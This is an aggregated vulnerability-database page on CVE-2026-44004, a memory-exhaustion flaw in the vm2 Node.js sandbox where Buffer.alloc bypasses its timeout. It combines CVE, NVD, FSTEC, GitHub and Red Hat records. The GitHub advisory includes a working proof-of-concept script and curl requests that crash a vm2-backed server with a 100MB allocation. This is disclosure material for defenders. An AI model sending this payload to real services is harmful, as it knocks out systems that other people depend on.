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CVE-2026-44004 (GCVE-0-2026-44004)

Vulnerability from cvelistv5 – Published: 2026-05-13 17:31 – Updated: 2026-09-07 12:04

Title

vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-13 18:07 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling
CWE-1285 - Improper Validation of Specified Index, Position, or Offset in Input

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
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https://access.redhat.com/security/cve/CVE-2026-44004	vdb-entryx_refsource_REDHAT
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https://access.redhat.com/errata/RHSA-2026:50850	vendor-advisoryx_refsource_REDHAT

Impacted products

3 products

Vendor	Product	Version	CPE status
patriksimek	vm2	Affected: < 3.11.0	guessed
Red Hat	Red Hat Ansible Automation Platform 2.1	Unaffected: 1785854226 , < * (rpm) cpe:/a:redhat:ansible_portal:2.1
Red Hat	Red Hat Developer Hub	cpe:/a:redhat:rhdh:1

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BDU:2026-06910 (CVE-2026-44004)

Vulnerability from fstec – Published: 2026-05-18 – Updated: 2026-05-18 – View on bdu.fstec.ru Exploit publicly available Fixed

Title

Уязвимость функции Buffer.alloc() библиотеки vm2 пакетного менеджера NPM, позволяющая нарушителю вызвать отказ в обслуживании

Summary

Уязвимость функции Buffer.alloc() библиотеки vm2 пакетного менеджера NPM связана с неограниченным распределением ресурсов при обработке параметра timeout. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, вызвать отказ в обслуживании

Severity

7.8 (High) CVSS 2.0


                      
                        AV:N/AC:L/Au:N/C:N/I:N/A:C

7.5 (High) CVSS 3.1


                      
                        CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Class

Architecture vulnerability

Status

Confirmed by the vendor

Exploitation

Resource exhaustion

Incidents

Being clarified

Remediation

Software update

CWE

CWE-770 - Неограниченное распределение ресурсов или дросселирование

Aliases

CVE-2026-44004

References

1 reference

URL
https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7

Impacted products

1 product from 1 vendor

Vendors

Node.js Foundation

Products

vm2

Versions

до 3.11.0 (vm2)

Product types

Application software

Mitigations

Использование рекомендаций: https://github.com/patriksimek/vm2/releases/tag/v3.11.0

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  "CVSS 2.0": "AV:N/AC:L/Au:N/C:N/I:N/A:C",
  "CVSS 3.0": "AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "Node.js Foundation",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "\u0434\u043e 3.11.0 (vm2)",
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  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "01.05.2026",
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  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "vm2",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Buffer.alloc() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 vm2 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 NPM, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0438\u043b\u0438 \u0434\u0440\u043e\u0441\u0441\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 (CWE-770)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Buffer.alloc() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 vm2 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 NPM \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 timeout. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u0418\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-770",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)"
}

FKIE_CVE-2026-44004

Vulnerability from fkie_nvd - Published: 2026-05-13 18:16 - Updated: 2026-08-06 13:18

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/errata/RHSA-2026:50850
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-44004
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2477195
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44004.json

Impacted products

	Vendor	Product	Version
	vm2_project	vm2	*

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{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    },
    {
      "affectedData": [
        {
          "collectionURL": "https://catalog.redhat.com/software/containers/",
          "cpes": [
            "cpe:/a:redhat:ansible_portal:2.1"
          ],
          "defaultStatus": "affected",
          "packageName": "ansible-automation-platform/automation-portal",
          "product": "Red Hat Ansible Automation Platform 2.1",
          "vendor": "Red Hat",
          "versions": [
            {
              "lessThan": "*",
              "status": "unaffected",
              "version": "1785854226",
              "versionType": "rpm"
            }
          ]
        },
        {
          "collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
          "cpes": [
            "cpe:/a:redhat:rhdh:1"
          ],
          "defaultStatus": "unaffected",
          "packageName": "rhdh/rhdh-hub-rhel9",
          "product": "Red Hat Developer Hub",
          "vendor": "Red Hat"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834",
              "versionEndExcluding": "3.11.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2\u0027s timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0."
    }
  ],
  "id": "CVE-2026-44004",
  "lastModified": "2026-08-06T13:18:15.043",
  "metrics": {
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      {
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          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
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        "type": "Secondary"
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          "privilegesRequired": "NONE",
          "scope": "CHANGED",
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    },
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        {
          "lang": "en",
          "value": "CWE-1285"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-6785-PVV7-MVG7

Vulnerability from github – Published: 2026-05-07 04:26 – Updated: 2026-05-14 20:36

Summary

vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion

Details

Summary

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)): - JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works - Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt

This means: 1. timeout: 5000 does NOT protect against this attack 2. A single call allocates the entire requested size at once 3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect

// Control test — JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}

# 2. Send Buffer.alloc payload — process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)

# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

# Control test — JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive — timeout works for JS, but NOT for Buffer.alloc

Impact

DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection.
Environment-dependent severity:
Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — FATAL ERROR: Reached heap limit was confirmed in testing.
Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
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          "events": [
            {
              "introduced": "0"
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              "fixed": "3.11.0"
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        }
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  "aliases": [
    "CVE-2026-44004"
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    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:26:39Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSandboxed code can call `Buffer.alloc()` with an arbitrary size to allocate memory directly on the host heap. Because `Buffer.alloc` is a synchronous C++ native call, vm2\u0027s `timeout` option cannot interrupt it. A single request can exhaust host memory and crash the process with a `FATAL ERROR: Reached heap limit`.\n\n### Details\nIn `lib/vm.js:58`, `Buffer` is exposed to the sandbox through the `HOST` object. The bridge proxy (`lib/bridge.js`) passes `Buffer.alloc()` calls to the host without any size validation.\n\nKey technical distinction from regular JavaScript memory exhaustion (e.g., `while(true) a.push(...)`):\n- **JavaScript loops**: V8 can interrupt via timeout \u2014 vm2\u0027s `timeout` option works\n- **`Buffer.alloc(N)`**: Executes as a single synchronous C++ call \u2014 V8 timeout has no opportunity to interrupt\n\nThis means:\n1. `timeout: 5000` does NOT protect against this attack\n2. A single call allocates the entire requested size at once\n3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash\n\nTested amplification factor: ~100 bytes HTTP request \u2014 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM({ timeout: 5000 });\n\n// Buffer.alloc bypasses timeout \u2014 allocates 100MB on host heap\nconst result = vm.run(`Buffer.alloc(1024*1024*100).length`);\nconsole.log(result); // 104857600 \u2014 timeout had no effect\n\n// Control test \u2014 JavaScript loop IS caught by timeout\ntry {\n  vm.run(`var a=[]; while(true) a.push(1)`);\n} catch(e) {\n  console.log(e.message); // \"Script execution timed out after 5000ms\"\n}\n```\n\n**HTTP demonstration (OOM crash):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"\\\"alive\\\"\"}\u0027\n# =\u003e {\"result\":\"\\\"alive\\\"\"}\n\n# 2. Send Buffer.alloc payload \u2014 process crashes with OOM\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"Buffer.alloc(1024*1024*100).length\"}\u0027\n# =\u003e empty response (process died)\n\n# 3. Check server logs:\n# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n\n# Control test \u2014 JavaScript loop IS caught by timeout:\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"var a=[]; while(true) a.push(1)\"}\u0027\n# =\u003e {\"errors\":[\"Script execution timed out after 5000ms\"]}\n# Server stays alive \u2014 timeout works for JS, but NOT for Buffer.alloc\n```\n\n### Impact\n- **DoS**: A single HTTP request crashes the host Node.js process via OOM. The `timeout` option provides no protection.\n- **Environment-dependent severity**:\n  - **Memory-constrained environments** (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario \u2014 `FATAL ERROR: Reached heap limit` was confirmed in testing.\n  - **Unconstrained environments**: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.\n- **Scope**: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.",
  "id": "GHSA-6785-pvv7-mvg7",
  "modified": "2026-05-14T20:36:44Z",
  "published": "2026-05-07T04:26:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44004"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion"
}

RHSA-2026:50850

Vulnerability from csaf_redhat - Published: 2026-08-05 16:35 - Updated: 2026-09-16 18:15

Summary

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

Severity

Important

Scope

25 vulnerabilities in this advisory, including CVE-2026-44004.

CVE-2026-44004

A flaw was found in vm2 (before 3.11.0). Sandboxed code can call Buffer.alloc() with arbitrary size to allocate on the host heap synchronously; vm2 timeout cannot interrupt the native C++ call, allowing a single request to exhaust host memory and crash the process. Fixed in 3.11.0.

8.6 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Fixed: 1 product

https://access.redhat.com/errata/RHSA-2026:50850

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